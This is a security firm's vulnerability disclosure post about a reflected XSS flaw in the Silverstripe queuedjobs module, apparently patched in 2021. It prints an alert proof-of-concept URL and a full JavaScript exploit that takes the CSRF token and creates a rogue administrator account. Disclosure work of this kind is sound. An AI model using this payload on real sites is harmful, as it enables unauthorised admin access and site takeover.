ZX Security


Silverstripe – Cross Site Scripting (XSS) vulnerability

Michael Tsai found a Cross Site Scripting vulnerability in the Silverstripe CMS symbiote/silverstripe-queuedjobs module. This vulnerability allows an attacker to inject an arbitrary payload in the CreateQueuedJobTask dev task via a specially crafted URL.

Authored by Michael Tsai

Published on

Introduction

Silverstripe is a popular open source CMS for managing web applications. During a recent client engagement, we have discovered a reflected XSS vulnerability in a popular Silverstripe optional module symbiote/silverstripe-queuedjobs. This post outlines the technical details of this vulnerability, how it could be exploited and the potential impact for the users and organisations.

The Vulnerability

The Silverstripe Dev mode enables the Development Tools, which contain various endpoints for developers to manage the environment. One useful endpoint is /dev/tasks where different tasks could be run. These can range from tasks to perform file operations, database migration to cache cleanup, encryption and more. While examining the source code for each of the build tasks for our client’s website, we discovered that one of the tasks called CreateQueuedJobTask was directly echoing out user-supplied values through a GET parameter. Looking at the source code, we could see the affected line echo "Job " . $request['name'] . " queued to start at: <b>" . $friendlyStart . "</b>";, in which the name parameter value was directly echoed out when a job was queued to start.

test

Since there is no sanitisation of user input, a simple PoC could be constructed such that the name parameter consists of Javascript codes that would be executed once a victim clicks on the link.

http://<URL>/dev/tasks/CreateQueuedJobTask?name=<script>alert(1)</script>&start=now

In this case, an alert dialogue will pop up with the value 1, as shown in the following image.

Test

How It Can Be Exploited

To demonstrate this issue, the following exploit has been developed to demonstrate an attack to create an arbitrary Administrator user in Silverstripe.

The following payload makes a GET request to /admin/pages to retrieve the SecurityID (which acts as a CSRF token). It then makes a POST request to create an arbitrary admin user with username specified by <URL_ENCODED_EMAIL> and password specified by <RANDOM_PASSWORD>.

Once the exploit is successfully executed, an attacker could log in to the Silverstripe admin panel at https://<URL>/admin using the provided credentials.

<script>
function load() {
  var req = new XMLHttpRequest();
  req.onreadystatechange = function() {
    if (req.readyState === 4) {
      var index = req.response.indexOf("SecurityID");
      var SecurityID = req.response.substring(index-(-11), index-(-51));
      var payloadStr = ['FirstName=MichaelAMPSurname=PentestAMPEmail=<URL_ENCODED_EMAIL>
      AMPPassword%5B_Password%5D=<RANDOM_PASSWORD>AMPPassword%5B_ConfirmPassword%5D=<RAN
      DOM_PASSWORD>AMPLocale=en_USAMPFailedLoginCount=AMPBlogProfileSummary=AMPBlogPosts
      %5BGridState%5D=%7B%22GridFieldSortableHeader%22%3A%7B%22SortColumn%22%3A%5B%5D%7D
      %2C%22GridFieldFilterHeader%22%3A%7B%22Columns%22%3Anull%7D%2C%22GridFieldPaginato
      r%22%3A%7B%22currentPage%22%3A1%2C%22itemsPerPage%22%3A15%7D%7DAMPSecurityID=',Sec
      urityID,'AMPaction_doSave=1AMPBackURL=<URL_ENCODED URL>%2Fadmin%2Fsecurity%2FEditF
      orm%2Ffield%2FGroups%2Fitem%2F2%2FItemEditForm%2Ffield%2FMembers%2Fitem%2Fnew%3Fgr
      idState-Groups-0%3D%257B%2522GridFieldSortableHeader%2522%253A%257B%2522SortColumn
      %2522%253A%255B%255D%257D%252C%2522GridFieldFilterHeader%2522%253A%257B%2522Column
      s%2522%253Anull%257D%252C%2522GridFieldPaginator%2522%253A%257B%2522currentPage%25
      22%253A1%252C%2522itemsPerPage%2522%253A15%257D%257D'].join("");
      payload = payloadStr.replaceAll('AMP', window.atob('Jg=='));
      submitForm(payload);
    }
  }
  req.open("GET", "../../admin/pages", true);
  req.send();
}
function submitForm(payload) {
  var req = new XMLHttpRequest();
  req.open("POST", "/admin/security/EditForm/field/Groups/item/2/ItemEditForm
    /field/Members/item/new/ItemEditForm/", true);
  req.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=UTF-8");
  req.send(payload);
}
window.onload = load;
</script>

Potential Impact

To exploit this vulnerability, the adversary would need to convince a Silverstripe administrator to click on the malicious link. If Dev mode is turned on, the payload will execute immediately. However, if Live mode is on, the administrator will be redirected to a confirmation form and would need to click on Run the action to trigger the exploit.

Successful exploitation of this vulnerability could lead to complete site takeover. Depending on the functionality of the website, the adversary could access sensitive user information, insert malicious content or completely takedown the website.

How To Fix It

Silverstripe has released the patch for all versions affected. More details could be found here.

Vulnerability Disclosure Timeline

  • 01/03/2021 - Issue reported to Silverstripe
  • 01/03/2021 - Silverstripe confirmed receiving the bug report
  • 02/03/2021 - Silverstripe validated the issue
  • 15/03/2021 - Patch released and CVE assigned